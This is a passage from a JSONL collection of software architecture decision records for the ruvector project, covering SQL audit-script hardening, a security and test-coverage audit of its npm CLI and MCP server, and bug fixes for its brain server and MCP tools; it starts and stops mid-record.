5 | **GUC `hnsw.ef_search` unguarded** \u2014 `SET hnsw.ef_search = 200` throws an error if ruvector doesn't register this custom GUC parameter. | HNSW test section aborts |\n\n### Important (4)\n\n| # | Issue | Impact |\n|---|-------|--------|\n| 6 | **Section 11 inconsistent filtering** \u2014 Uses `pg_namespace` join instead of `pg_depend + pg_extension`, unlike Section 0. May report non-ruvector functions as ruvector features. | False positives in bonus capabilities check |\n| 7 | **Session GUCs not restored** \u2014 `hnsw.ef_search`, `client_min_messages` never reset. | Affects user's psql session after audit |\n| 8 | **Section 5b results not validated** \u2014 Triple INSERT output printed but never checked PASS/FAIL. | Misleading \u2014 user sees output but no verdict |\n| 9 | **Section 4c graph_stats outside exception block** \u2014 Bare SELECT aborts script if graph creation failed in 4b. | Breaks fault tolerance |\n\n### Minor (3)\n\n| # | Issue | Impact |\n|---|-------|--------|\n| 10 | `\\timing` scope inconsistent across sections | Timing data missing for Sections 3-10 |\n| 11 | Cypher test (4e) not programmatically validated | Relies on human to spot self-reference bug |\n| 12 | `enable_indexscan = off` not wrapped in savepoint | Script interruption leaves index scans disabled |\n\n## Decision\n\nCreate v3 (`scripts/sql-audit-v3.sql`) with all 12 fixes applied:\n\n1. **Dollar quoting** \u2014 All DO blocks use `$$` or named tags (`$audit_NNN$`, `$graph_create$`, etc.)\n2. **Node ID passing** \u2014 Temp table `_audit_graph_ids` bridges DO blocks; shortest_path reads from it\n3. **Full fault tolerance** \u2014 Every external call wrapped in DO/EXCEPTION; no bare SELECTs for ruvector functions\n4. **Safe dblink** \u2014 `format('dbname=%L user=%L', current_database(), current_user)` with proper quoting\n5. **GUC guards** \u2014 `SET LOCAL hnsw.ef_search` inside nested BEGIN/EXCEPTION\n6. **Consistent filtering** \u2014 All Section 11 queries use `pg_depend + pg_extension` join\n7. **Session restore** \u2014 `RESET client_min_messages` at cleanup; `SET LOCAL` for all temporary GUCs\n8. **Programmatic verdicts** \u2014 All sections emit PASS/FAIL/ERROR via RAISE NOTICE with value checks\n9. **Savepoint safety** \u2014 `SET LOCAL enable_indexscan` scoped to DO block transaction\n\n## Consequences\n\n- Audit script is now fully executable on any PostgreSQL 14-17 installation\n- No section can abort the rest \u2014 all wrapped in exception handlers\n- Results are machine-parseable (grep for `PASS:` / `FAIL:` / `ERROR:`)\n- Session state is clean after script completes\n\n## v0.3.2 Audit Scorecard\n\n**191 functions | PG 17.9 | SIMD avx2+fma+sse4.2**\n\n**17 PASS / 0 PARTIAL / 0 FAIL \u2192 100% pass rate (up from 88% in v0.3.1, 47% in v0.3.0)**\n\n| # | Feature | v0.3.0 | v0.3.1 | v0.3.2 | Status |\n|---|---------|--------|--------|--------|--------|\n| 1-4 | Core vectors, HNSW, SIMD | PASS | PASS | **PASS** | Same |\n| 5-6 | Attention (basic + advanced) | PASS | PASS | **PASS** | 12 functions |\n| 7-8 | GNN | FAIL | **PASS** (5 funcs) | **PASS** | Restored with jsonb sigs |\n| 9 | Graph CRUD | PASS | PASS | **PASS** | Same |\n| 10 | Cypher MATCH | FAIL | **PASS** (4 results) | **PASS** | Self-reference bug fixed |\n| 11-12 | Shortest path, SPARQL | PASS | PASS | **PASS** | Same |\n| 13 | Persistence | FAIL | **PASS** | **PASS** | Graph + RDF survive dblink |\n| 14 | Self-healing | FAIL | **PASS** (16 funcs) | **PASS** | Full health monitoring |\n| 15 | Multi-tenancy | FAIL | **PASS** (15 funcs) | **PASS** | Tenant isolation + RLS |\n| 16 | Hybrid search | FAIL | PARTIAL | **PASS** | Graceful empty result on unregistered collection |\n| 17 | SONA | PARTIAL | **PASS** | **PASS** | sona_apply handles any dim |\n\n### v0.3.2 Fixes (from v0.3.1)\n\n1. **HNSW k-NN now returns results** \u2014 Search beam width (`k`) increased from 10 to 100; previous value starved the beam search and produced 0 rows on small-to-medium tables\n2. **Hybrid search graceful degradation** \u2014 `ruvector_hybrid_search()` now returns `success: true` with empty results and helpful message when collection is unregistered (was `success: false`)\n3. **`ruvector_hnsw_debug()` function added** \u2014 Diagnostic function reads index metadata and reports entry_point, node_count, search stats for troubleshooting\n4. **Audit script fix** \u2014 Corrected `ruvector_hybrid_search()` argument order in `sql-audit-v3.sql` Section 9b\n\n### Function Count Notes\n\nThe audit script detects functions via `pg_proc` pattern matching, which may undercount vs. the 47 `CREATE FUNCTION` statements in the SQL schema:\n- Self-healing: 16 detected by audit / 17 registered (1 utility function not matched by audit pattern)\n- Multi-tenancy: 15 detected by audit / 17 registered (2 SQL-generation helpers not matched)\n- All functions confirmed present via direct `\\df ruvector_*` in Docker container\n\n## Known ruvector Issues Discovered by Audit\n\n| # | Issue | Status | Fix |\n|---|-------|--------|-----|\n| 1 | Cypher MATCH self-reference bug (`a.id == b.id`) | **Fixed (v0.3.1)** | Rewrote `match_pattern()` in `executor.rs` to properly traverse edges, reject self-references when variables differ, and generate per-edge binding rows |\n| 2 | Graph/RDF persistence failure (in-memory only) | **Fixed (v0.3.1)** | Added PostgreSQL backing tables (`_ruvector_graphs`, `_ruvector_nodes`, `_ruvector_edges`, `_ruvector_rdf_stores`, `_ruvector_triples`) with auto-load on cache miss |\n| 3 | HNSW index scan returns 0 rows despite correct query planning | **Fixed (v0.3.2)** | Search beam width (`k`) was 10, starving the HNSW beam search. Increased to 100. Added `ruvector_hnsw_debug()` diagnostic function and warning log when entry_point is invalid. |\n| 4 | Self-healing, multi-tenancy, hybrid search \"not registered\" | **Fixed (v0.3.1)** | 46 missing `CREATE FUNCTION` statements added to `ruvector--0.3.0.sql`: GNN (5), healing (17), tenancy (17), hybrid (7). Modules were always compiled but SQL schema lacked function registrations. All 46 verified in Docker container. |\n| 5 | SONA apply panics on non-256-dim input | **Fixed (v0.3.1)** | Dynamic dimension detection with per-dim engine caching and `catch_unwind` panic guard |\n| 6 | Hybrid search returns error on unregistered collection | **Fixed (v0.3.2)** | Changed `ruvector_hybrid_search()` to return `success: true` with empty results array and helpful message instead of `success: false` error |\n\n## Related Changes (v0.3.1)\n\n### Rust Source Fixes (v0.3.2)\n- `crates/ruvector-postgres/src/index/hnsw_am.rs` \u2014 HNSW search beam width fix (k=10\u2192100), `ruvector_hnsw_debug()` diagnostic function, entry_point warning log\n- `crates/ruvector-postgres/src/hybrid/mod.rs` \u2014 Graceful empty result on unregistered collection\n\n### Rust Source Fixes (v0.3.1)\n- `crates/ruvector-postgres/src/graph/cypher/executor.rs` \u2014 Cypher self-reference fix\n- `crates/ruvector-postgres/src/graph/mod.rs` \u2014 Graph persistence tables + `use pgrx::JsonB` + `get_by_name::<T, _>()` fix\n- `crates/ruvector-postgres/src/graph/sparql/mod.rs` \u2014 RDF persistence tables + `get_by_name::<T, _>()` fix\n- `crates/ruvector-postgres/src/graph/operators.rs` \u2014 Persist calls after node/edge/triple inserts\n- `crates/ruvector-postgres/src/sona/mod.rs` \u2014 Dynamic dimension engine cache (`dim as usize` cast)\n- `crates/ruvector-postgres/src/sona/operators.rs` \u2014 Dimension detection + `catch_unwind` panic guard\n\n### SQL Schema\n- `crates/ruvector-postgres/sql/ruvector--0.3.0.sql` \u2014 Added 47 `CREATE FUNCTION` statements: GNN (5), healing (17), tenancy (17), hybrid (7), HNSW debug (1). Total extension functions: **191**\n\n### Docker\n- `crates/ruvector-postgres/Dockerfile` \u2014 Updated labels, features, SQL copy for v0.3.1\n- `crates/ruvector-postgres/Dockerfile.prebuilt` \u2014 New slim image using pre-compiled artifacts (~12s build)\n- `crates/ruvector-postgres/docker/Dockerfile` \u2014 Updated Rust 1.85, features, labels\n- `crates/ruvector-postgres/docker/docker-compose.yml` \u2014 Updated Rust version to 1.85\n- **Published**: `docker.io/ruvnet/ruvector-postgres:0.3.2` and `:latest` (sha256:d9f86747f3af, 100% audit pass)\n\n### Verification Summary\n\nAll 47 new functions verified in Docker container (`ruvnet/ruvector-postgres:0.3.2`):\n\n| Module | Functions | Status |\n|--------|-----------|--------|\n| GNN | `ruvector_gcn_forward`, `ruvector_gnn_aggregate`, `ruvector_message_pass`, `ruvector_graphsage_forward`, `ruvector_gnn_batch_forward` | 5/5 PASS |\n| Self-Healing | `ruvector_health_status`, `ruvector_is_healthy`, `ruvector_system_metrics`, `ruvector_healing_history`, `ruvector_healing_history_since`, `ruvector_healing_history_for_strategy`, `ruvector_healing_trigger`, `ruvector_healing_execute`, `ruvector_healing_configure`, `ruvector_healing_get_config`, `ruvector_healing_enable`, `ruvector_healing_strategies`, `ruvector_healing_effectiveness`, `ruvector_healing_stats`, `ruvector_healing_thresholds`, `ruvector_healing_set_thresholds`, `ruvector_healing_problem_types` | 17/17 PASS |\n| Multi-Tenancy | `ruvector_tenant_create`, `ruvector_tenant_set`, `ruvector_tenant_stats`, `ruvector_tenant_quota_check`, `ruvector_tenant_suspend`, `ruvector_tenant_resume`, `ruvector_tenant_delete`, `ruvector_tenants`, `ruvector_enable_tenant_rls`, `ruvector_tenant_migrate`, `ruvector_tenant_migration_status`, `ruvector_tenant_isolate`, `ruvector_tenant_set_policy`, `ruvector_tenant_update_quota`, `ruvector_generate_rls_sql`, `ruvector_generate_tenant_column_sql`, `ruvector_generate_roles_sql` | 17/17 PASS |\n| Hybrid Search | `ruvector_register_hybrid`, `ruvector_hybrid_update_stats`, `ruvector_hybrid_configure`, `ruvector_hybrid_search`, `ruvector_hybrid_stats`, `ruvector_hybrid_score`, `ruvector_hybrid_list` | 7/7 PASS |\n| SONA (prev fix) | `ruvector_sona_apply` with 3-dim and 5-dim inputs | 2/2 PASS |\n| HNSW Debug | `ruvector_hnsw_debug` | 1/1 PASS |", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-079-sql-audit-script-hardening.md", "created_at": "2026-03-28T11:58:49.707686+00:00", "content_hash": "506d2fec3d1bf46152fb04765303192b6943c9ce0d2a770883981cea8195b538"} +{"id": "4affaaf4-ab7a-4aee-b752-ac8315263cb0", "source": "adr", "text": "# ADR-080: npx ruvector Deep Capability Audit\n\n**Status:** Accepted\n**Date:** 2026-03-03\n**Author:** ruvnet\n\n## Context\n\nThe `ruvector` npm package (v0.2.5) is the primary CLI and MCP entry point for the ruvector ecosystem, providing `npx ruvector` access to vector database operations, self-learning hooks, brain AGI subsystems, edge compute, and 91+ MCP tools. This ADR documents a comprehensive audit of all capabilities, coverage gaps, and security findings.\n\n## Package Overview\n\n| Field | Value |\n|-------|-------|\n| **Package** | `ruvector` on npm |\n| **Version** | 0.2.5 |\n| **CLI entry** | `bin/cli.js` (8,911 lines) |\n| **MCP entry** | `bin/mcp-server.js` (3,815 lines) |\n| **Node.js** | >=18.0.0 |\n| **Dependencies** | 8 required, 1 optional, 3 peer (optional) |\n| **Published files** | `bin/`, `dist/`, `README.md`, `LICENSE` |\n\n## CLI Inventory\n\n### Summary\n\n- **Total commands**: ~179 registered, ~145 unique\n- **Command groups**: 15 main groups + standalone commands\n- **Lazy-loaded modules**: GNN, Attention, ora, ruvector core, pi-brain, ruvllm\n- **Startup time**: ~55ms (lazy loading optimization)\n\n### Command Groups (15)\n\n| Group | Subcommands | Description |\n|-------|-------------|-------------|\n| **hooks** | 55 | Self-learning intelligence hooks \u2014 routing, memory, trajectories, AST, diff, coverage, compression, learning algorithms |\n| **brain** | 22 | Shared intelligence \u2014 search, share, vote, sync, AGI subsystems (SONA, GWT, temporal, meta-learning, midstream) |\n| **workers** | 14 | Background analysis \u2014 dispatch, presets, phases, custom workers |\n| **rvf** | 11 | RuVector Format \u2014 create, ingest, query, derive, segments, examples, download |\n| **sona** | 6 | SONA adaptive learning \u2014 status, patterns, train, export |\n| **embed** | 5 | Embeddings \u2014 text, adaptive LoRA, ONNX, neural, benchmark |\n| **attention** | 5 | Attention mechanisms \u2014 compute, benchmark, hyperbolic, list |\n| **edge** | 5 | Distributed P2P compute \u2014 status, join, balance, tasks, dashboard |\n| **native** | 4 | Native ONNX/VectorDB workers \u2014 run, benchmark, list, compare |\n| **mcp** | 4 | MCP server \u2014 start, info, tools, test |\n| **gnn** | 4 | Graph Neural Networks \u2014 layer, compress, search, info |\n| **identity** | 4 | Pi key management \u2014 generate, show, export, import |\n| **llm** | 4 | LLM embeddings/inference via ruvllm |\n| **midstream** | 4 | Real-time streaming \u2014 status, attractor, scheduler, benchmark |\n| **route** | 3 | Semantic routing \u2014 classify, benchmark, info |\n\n### Standalone Commands (15)\n\n`create`, `insert`, `search`, `stats`, `benchmark`, `info`, `install`, `graph`, `router`, `server`, `cluster`, `export`, `import`, `doctor`, `setup`\n\n### Stub/Coming-Soon Commands (4)\n\n| Command | Status | Note |\n|---------|--------|------|\n| `router` | Coming Soon | npm package in development |\n| `server` | Coming Soon | HTTP/gRPC server planned |\n| `cluster` | Coming Soon | Distributed cluster planned |\n| `graph` | Requires @ruvector/graph-node | Optional package not installed by default |\n\n### External API Commands\n\n| Commands | Service | URL |\n|----------|---------|-----|\n| `brain *` (16 commands) | pi.ruv.io | `https://pi.ruv.io` |\n| `brain agi *` (6 commands) | pi.ruv.io AGI endpoints | `/v1/sona`, `/v1/temporal`, `/v1/explore`, `/v1/midstream` |\n| `edge *` (5 commands) | Edge genesis node | Cloud Run endpoint |\n| `midstream attractor` | pi.ruv.io | `/v1/midstream` |\n| `rvf download` | GCS + GitHub | Storage + raw GitHub |\n\n## MCP Server Inventory\n\n### Summary\n\n- **Total tools**: 91 (base) + 12 (AGI/midstream) = 103 registered inputSchemas\n- **Transport modes**: stdio (default), SSE (HTTP)\n- **Version**: 0.2.5 (hardcoded in 2 locations)\n\n### Tool Groups (9)\n\n| Group | Tools | Description |\n|-------|-------|-------------|\n| **hooks** | 49 | Intelligence, memory, routing, learning, compression, AST, diff, coverage, security, RAG |\n| **workers** | 12 | Background analysis dispatch, presets, phases, custom workers |\n| **rvf** | 10 | Vector store CRUD, compact, derive, segments, examples |\n| **brain** | 11 | Shared knowledge search, share, vote, sync, partition, transfer |\n| **brain_agi** | 6 | AGI diagnostics \u2014 SONA, temporal, explore, midstream, flags |\n| **midstream** | 6 | Real-time analysis \u2014 status, attractor, scheduler, benchmark, search, health |\n| **edge** | 4 | Distributed compute \u2014 status, join, balance, tasks |\n| **rvlite** | 3 | SQL/Cypher/SPARQL query engines over vector data |\n| **identity** | 2 | Pi key generation and display |\n\n### Stub Tools (~6 of 91, ~7%)\n\n`hooks_attention_info`, `hooks_gnn_info`, `workers_triggers`, `workers_presets`, `workers_phases` \u2014 return hardcoded fallback data when packages unavailable. Brain AGI tools require external service.\n\n### Functional Tools (~85 of 91, ~93%)\n\nAll hooks intelligence, RVF CRUD, brain services, edge network, identity crypto, worker dispatch, and query engine tools have real implementations.\n\n## Security Findings\n\n### Strong Defenses\n\n| Defense | Coverage |\n|---------|----------|\n| **Path validation** (`validateRvfPath()`) | All RVF tools \u2014 null byte check, realpath resolution, CWD confinement, blocked system paths |\n| **Shell sanitization** (`sanitizeShellArg()`) | All hooks/workers using execSync \u2014 removes metacharacters, backticks, `$()`, pipes, semicolons |\n| **Numeric validation** (`sanitizeNumericArg()`) | Hooks/workers with numeric args \u2014 parseInt with NaN fallback |\n| **Null byte defense** | Both path and shell sanitizers strip `\\0` |\n| **Chalk ESM fix** | Consistent `_chalk.default \\|\\| _chalk` pattern at line 7-8 |\n\n### Concerns (10 findings)\n\n| # | Finding | Severity | Location |\n|---|---------|----------|----------|\n| 1 | execSync with shell invocation despite sanitization | Medium | hooks_init, hooks_pretrain, analysis tools |\n| 2 | Intelligence data load/save paths not validated by `validateRvfPath()` | Medium | mcp-server.js lines 171-191 |\n| 3 | No fetch timeout on brain/edge/midstream API calls | Medium | Could hang/DoS |\n| 4 | No rate limiting on external API calls | Medium | Brain, edge, midstream tools |\n| 5 | Environment variable values used unsanitized in fetch/crypto | Medium | BRAIN_URL, PI, EDGE_GENESIS_URL |\n| 6 | Pi key prefix logged in responses | High | identity_show, mcp-server.js line 3555 |\n| 7 | No limits on vector dimensions or query result sizes | Medium | rvf_create, rvf_query, rvlite_sql |\n| 8 | 51% of MCP tools lack input validation | Medium | hooks_remember, hooks_recall, brain tools |\n| 9 | workers_dispatch returns `success: true` on error | Low | mcp-server.js line 2730 |\n| 10 | Inconsistent `isError` flag usage across tools | Low | Error response formatting |\n\n## Test Coverage Analysis\n\n### Test Suite\n\n| File | Tests | Quality |\n|------|-------|---------|\n| `test/cli-commands.js` | 64 active + 6 dynamic | Mixed \u2014 many help-only |\n| `test/integration.js` | 6 test groups | Good \u2014 module, types, structure |\n| `test/benchmark-cli.js` | 7 benchmark commands | Good \u2014 latency + lazy loading |\n\n### Coverage Matrix\n\n| Capability | CLI Test | Integration Test | Benchmark |\n|-----------|----------|-----------------|-----------|\n| create/insert/search/stats | **None** | **None** | **None** |\n| GNN operations | Help only | No | No |\n| Attention operations | Help only | No | No |\n| Hooks routing/memory | Basic | No | No |\n| Brain AGI commands | Help only | No | No |\n| Midstream commands | Help only | No | No |\n| Module loading | No | Yes | No |\n| Type definitions | No | Yes | No |\n| MCP tool count | No | Yes (103) | No |\n| CLI startup latency | No | No | Yes (<100ms budget) |\n| Lazy loading overhead | No | No | Yes |\n\n### Critical Gaps\n\n1. **No functional database tests** \u2014 `create`, `insert`, `search`, `stats` are the primary documented use case but have zero test coverage\n2. **Performance claims unvalidated** \u2014 \"sub-millisecond queries\", \"52,000 inserts/sec\", \"150x HNSW speedup\" have no benchmarks\n3. **MCP tool functionality untested** \u2014 only tool count validated, not individual tool behavior\n4. **Brain AGI connectivity untested** \u2014 commands only tested for `--help` output\n\n## Code Quality\n\n### Strengths\n\n- Well-organized 14-group command hierarchy\n- Consistent lazy-loading pattern (GNN, Attention, ora, ruvector core)\n- Graceful degradation when optional packages missing\n- Version sourced from package.json (not hardcoded in cli.js)\n- Comprehensive hooks system (55 subcommands covering full dev lifecycle)\n- RVF path validation is thorough\n\n### Issues\n\n| # | Issue | Severity | Location |\n|---|-------|----------|----------|\n| 1 | Conditionally unreachable code in router command (only runs when unpublished `@ruvector/router` is installed) | Low | cli.js line 1807 |\n| 2 | brain page/node actions return \"not yet available\" | Low | cli.js lines 8120-8180 |\n| 3 | Uninitialized variables in conditional blocks | Low | cli.js lines 4757, 4769 |\n| 4 | Error suppression in brain/edge catch blocks | Low | cli.js lines 7907-7908 |\n\n## Decision\n\nDocument findings and prioritize fixes:\n\n### P0 \u2014 Security (address before next publish)\n- Add fetch timeout (30s) to all external API calls (brain, edge, midstream)\n- Stop logging Pi key prefix in identity_show responses\n- Add `validateRvfPath()` to intelligence data load/save paths\n\n### P1 \u2014 Test Coverage (next sprint)\n- Add functional tests for `create`, `insert`, `search`, `stats` commands\n- Add MCP tool functional tests (at least one per group)\n- Add connectivity test for brain AGI endpoints (mock or live)\n\n### P2 \u2014 Code Quality (backlog)\n- Remove dead code in router command\n- Add input validation to remaining 51% of MCP tools\n- Add resource limits (max dimensions, max result count)\n- Fix workers_dispatch error reporting\n\n### P3 \u2014 Documentation (backlog)\n- Add performance benchmarks to validate README claims\n- Mark stub commands more clearly in README\n- Document external service dependencies and fallback behavior\n\n## Consequences\n\n- Full visibility into the 145-command, 91-tool npm package surface area\n- 10 security findings documented with severity and fix priority\n- Test coverage gaps identified \u2014 core database operations completely untested\n- Clear prioritized action plan for hardening before next publish\n\n## Appendix: Dependency Tree\n\n### Required\n```\n@modelcontextprotocol/sdk ^1.0.0\n@ruvector/attention ^0.1.3\n@ruvector/core ^0.1.25\n@ruvector/gnn ^0.1.22\n@ruvector/sona ^0.1.4\nchalk ^4.1.2 (CJS compat via .default || fallback)\ncommander ^11.1.0\nora ^5.4.1 (lazy loaded)\n```\n\n### Optional\n```\n@ruvector/rvf ^0.1.0\n```\n\n### Peer (all optional)\n```\n@ruvector/pi-brain >=0.1.0 (brain commands)\n@ruvector/ruvllm >=2.0.0 (llm commands)\n@ruvector/router >=0.1.0 (router command, not yet published)\n```\n\n### External Services\n```\nhttps://pi.ruv.io \u2014 Brain AGI, midstream (Cloud Run)\nedge-net-genesis (Cloud Run) \u2014 Edge compute network\nstorage.googleapis.com \u2014 RVF examples\nraw.githubusercontent.com \u2014 RVF manifest fallback\n```", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-080-npx-ruvector-deep-capability-audit.md", "created_at": "2026-03-28T11:58:49.708445+00:00", "content_hash": "790d6c13409e8d7a16230f39f2004d1562e3e3c862f72864d09b75fffcdf3396"} +{"id": "a2bc432f-4c2a-4b21-8579-806ef3911ac1", "source": "adr", "text": "# ADR-081: Brain Server v0.2.8\u20130.2.10 Deploy + CLI/MCP Bug Fixes\n\n**Status**: Accepted\n**Date**: 2026-03-03\n**Authors**: RuVector Team\n**Deciders**: ruv\n**Supersedes**: N/A\n**Related**: ADR-059 (Shared Brain Google Cloud Deployment), ADR-060 (Shared Brain Capabilities), ADR-064 (Pi Brain Infrastructure)\n\n## 1. Context\n\nv0.2.7 shipped proxy-aware fetch and new brain API types/routes in the Rust server (types.rs, store.rs, routes.rs), but the Cloud Run service at pi.ruv.io was serving a **stale pre-built binary** \u2014 the Dockerfile copies a pre-compiled `mcp-brain-server` ELF from the repo root rather than building from source. The binary at `./mcp-brain-server` predated the v0.2.7 Rust changes, so scored search, paginated list, `POST /v1/verify`, and enhanced transfer all returned old formats or 404.\n\nDeep review uncovered six bugs across CLI, MCP, and deployment:\n\n### 1.1 Stale Binary in Docker Image\n\nThe `crates/mcp-brain-server/Dockerfile` does `COPY mcp-brain-server /usr/local/bin/mcp-brain-server` \u2014 it copies a pre-built binary from the Docker build context, not from a Cargo build step. The binary at the repo root was compiled before the v0.2.7 Rust changes (`ScoredBrainMemory`, `ListResponse`, `/v1/verify`), so Cloud Run was running old code despite the source being updated.\n\n### 1.2 `proxyFetch()` Curl Fallback Hardcodes Status 200\n\n`proxyFetch()` (cli.js line ~174) provides a curl-based fallback when Node's `fetch()` cannot reach the proxy. The fallback constructs a fake Response object with `status: 200` and `headers: new Map()` regardless of actual HTTP status. This means:\n- The 204 guard in `brainFetch()` (`resp.status === 204`) never triggers\n- `resp.headers.get('content-length')` returns `undefined` (Map, not Headers)\n- DELETE operations returning 204 with empty body crash on `JSON.parse('')`\n- Non-2xx errors silently appear as success\n\n### 1.3 `brainFetch()` 204 Guard (Initial Fix)\n\n`brainFetch()` unconditionally called `resp.json()`. While the 204 guard was added in the initial v0.2.8 pass, it was insufficient alone because of the proxyFetch fallback (1.2 above).\n\n### 1.4 `fetchBrainEndpoint()` Missing 204 Guard\n\nThe AGI subcommands (`brain agi status`, `brain agi sona`, etc.) use a separate `fetchBrainEndpoint()` function (line ~8276) that also unconditionally calls `resp.json()` without a 204 guard.\n\n### 1.5 MCP `brain_list` Schema Missing Properties\n\nThe MCP tool schema for `brain_list` only declared `category` and `limit`, but the handler reads `args.offset`, `args.sort`, and `args.tags`. Claude (or any MCP client) could not discover or send these parameters.\n\n### 1.6 MCP `brain_sync` Handler Ignores `direction` Parameter\n\nThe sync handler at MCP line ~3419 hardcoded `url = ${brainUrl}/v1/lora/latest` without appending the `direction` query parameter from `args.direction`. The `pull`/`push`/`both` parameter was silently dropped.\n\n### 1.7 MCP Brain Handler Missing 204 Guard\n\nThe shared brain tool handler (MCP line ~3426) does `const result = await resp.json()` unconditionally. DELETE returning 204 crashes the same way as the CLI.\n\n## 2. Decision\n\n### 2.1 Rebuild and Redeploy Binary\n\nCompile `mcp-brain-server` from source (`cargo build --release` in `crates/mcp-brain-server/`), copy the fresh binary to the repo root, and redeploy via Cloud Build + Cloud Run. This activates:\n\n- `ScoredBrainMemory` with `score: f64` in search results\n- `ListResponse { memories, total_count, offset }` paginated envelope\n- `POST /v1/verify` endpoint for witness chain verification\n- Enhanced transfer warnings with domain-level safety checks\n\n### 2.2 Fix `proxyFetch()` Curl Fallback\n\nCapture actual HTTP status from curl via `-w '\\n%{http_code}'`, parse the status code from the last line, and construct the Response object with correct `ok`, `status`, and safe `json()` that returns `{}` for empty bodies:\n\n```js\nconst args = ['-sS', '-L', '--max-time', '30', '-w', '\\n%{http_code}'];\n// ...\nconst lines = stdout.trimEnd().split('\\n');\nconst statusCode = parseInt(lines.pop(), 10) || 200;\nconst body = lines.join('\\n').trim();\nconst ok = statusCode >= 200 && statusCode < 300;\nreturn {\n ok,\n status: statusCode,\n statusText: ok ? 'OK' : `HTTP ${statusCode}`,\n text: async () => body,\n json: async () => body ? JSON.parse(body) : {},\n headers: new Map(),\n};\n```\n\n### 2.3 Fix `brainFetch()` and `fetchBrainEndpoint()` 204 Guards\n\nBoth functions now check for 204 or empty content-length before calling `resp.json()`:\n\n```js\nif (resp.status === 204 || resp.headers.get('content-length') === '0') return {};\nreturn resp.json();\n```\n\n### 2.4 Add `--json` to 4 CLI Brain Commands\n\nAdded `.option('--json', 'Output as JSON')` and the standard JSON gate to `brain share`, `brain vote`, `brain delete`, and `brain sync`.\n\n### 2.5 Fix MCP `brain_list` Schema\n\nAdded `offset`, `sort`, and `tags` properties to the `brain_list` tool `inputSchema`, matching the handler's usage.\n\n### 2.6 Fix MCP `brain_sync` Handler\n\nChanged the sync handler to append `?direction=...` from `args.direction`:\n\n```js\ncase 'sync': {\n const p = new URLSearchParams();\n if (args.direction) p.set('direction', args.direction);\n url = `${brainUrl}/v1/lora/latest${p.toString() ? '?' + p : ''}`;\n break;\n}\n```\n\n### 2.7 Fix MCP Brain Handler 204 Guard\n\nChanged `const result = await resp.json()` to:\n\n```js\nconst result = (resp.status === 204 || resp.headers.get('content-length') === '0') ? {} : await resp.json();\n```\n\n### 2.8 Add `GET /v1/pages` Route (List Pages)\n\nThe Rust server had `POST /v1/pages` and `GET /v1/pages/:id` but no `GET /v1/pages` to list all pages. The CLI `brain page list` command tried to call this endpoint and got 405 Method Not Allowed.\n\nAdded:\n- `PageSummary` and `ListPagesResponse` types in `types.rs`\n- `list_pages()` store method in `store.rs`\n- `list_pages` route handler in `routes.rs` with pagination (`limit`, `offset`), `status` filter, and sort by `updated_at` descending\n- Registered route: `.route(\"/v1/pages\", get(list_pages).post(create_page))`\n\n### 2.9 Add 9 Page/Node MCP Tools\n\nThe `brain page` and `brain node` CLI commands (Brainpedia ADR-062, WASM Nodes ADR-063) were only available via the Rust SSE MCP server, not in the Node.js stdio MCP server. This meant Claude Desktop (stdio transport) could not access page or node operations.\n\nAdded 9 new MCP tool definitions and handlers to `mcp-server.js`:\n\n| Tool | Method | Endpoint |\n|------|--------|----------|\n| `brain_page_list` | GET | `/v1/pages` |\n| `brain_page_get` | GET | `/v1/pages/:id` |\n| `brain_page_create` | POST | `/v1/pages` |\n| `brain_page_update` | PUT | `/v1/pages/:id` |\n| `brain_page_delete` | DELETE | `/v1/pages/:id` |\n| `brain_node_list` | GET | `/v1/nodes` |\n| `brain_node_get` | GET | `/v1/nodes/:id` |\n| `brain_node_publish` | POST | `/v1/nodes` |\n| `brain_node_revoke` | POST | `/v1/nodes/:id/revoke` |\n\nAll handlers include the 204 guard pattern and use `proxyFetch` for proxy-aware connectivity.\n\n### 2.10 Cosmetic Fixes (v0.2.10)\n\n- **`brain delete` JSON output**: Changed `--json` / non-TTY output from bare `{}` to `{ \"deleted\": true, \"id\": \"<id>\" }` \u2014 meaningful for piped consumers\n- **`brain page get` display**: Unwrap `.memory` wrapper from `PageDetailResponse` for human-readable output \u2014 shows title, status, category, quality score, tags, delta/evidence counts, and content instead of raw JSON dump\n- **`brain page list` display**: Enhanced formatting with quality scores, status badges, and total count header\n\n### 2.11 Version Bumps\n\n- **0.2.7 \u2192 0.2.8**: Initial bug fixes (proxyFetch, 204 guards, --json flags)\n- **0.2.8 \u2192 0.2.9**: GET /v1/pages route, 9 new MCP tools, fresh binary deploy\n- **0.2.9 \u2192 0.2.10**: Cosmetic fixes for delete JSON output and page display\n\nUpdated in:\n- `npm/packages/ruvector/package.json`\n- `npm/packages/ruvector/bin/mcp-server.js` (2 occurrences)\n\n## 3. Files Modified\n\n| File | Changes |\n|------|---------|\n| `npm/packages/ruvector/bin/cli.js` | Fix `proxyFetch()` curl fallback to capture real HTTP status; fix `brainFetch()` and `fetchBrainEndpoint()` 204 guards; add `--json` to 4 brain commands |\n| `npm/packages/ruvector/bin/mcp-server.js` | Add `offset`/`sort`/`tags` to `brain_list` schema; fix `brain_sync` direction passthrough; add 204 guard to brain handler; add 9 page/node MCP tools; version bump x2 |\n| `npm/packages/ruvector/package.json` | Version 0.2.7 \u2192 0.2.9 |\n| `npm/packages/ruvector/test/integration.js` | MCP tool count threshold updated from 103 to 112 |\n| `crates/mcp-brain-server/src/types.rs` | Add `PageSummary`, `ListPagesResponse` types |\n| `crates/mcp-brain-server/src/store.rs` | Add `list_pages()` method |\n| `crates/mcp-brain-server/src/routes.rs` | Add `list_pages` handler, register `GET /v1/pages` route |\n| `mcp-brain-server` (binary) | Rebuilt from source with `ScoredBrainMemory`, `ListResponse`, `/v1/verify`, `GET /v1/pages` |\n\n## 4. Consequences\n\n### Positive\n\n- **Server-side features live**: Scored search, paginated list, verify endpoint, GET /v1/pages, and enhanced transfer are now served from a binary compiled from the current source.\n- **CLI robustness**: `brain delete` and `brain vote` no longer crash. The proxy fallback correctly reports non-2xx errors instead of silently swallowing them.\n- **MCP completeness**: 112 total MCP tools. `brain_list` schema exposes pagination/sort/tags. `brain_sync` direction parameter reaches the server. 9 new page/node tools available in stdio transport (previously SSE-only). DELETE operations return clean `{}`.\n- **API consistency**: All 19 brain CLI commands + 6 AGI commands now support `--json`.\n- **Full parity**: Every brain CLI command now has a corresponding Node.js MCP tool \u2014 no more SSE-only gaps.\n\n### Negative\n\n- The Dockerfile still uses a pre-built binary strategy. A future improvement would add a Cargo build stage to ensure the deployed binary always matches the source.\n\n## 5. Audit: Brain CLI Commands vs Server Routes vs MCP Tools\n\n### CLI Commands (19 total)\n\n| CLI Command | Server 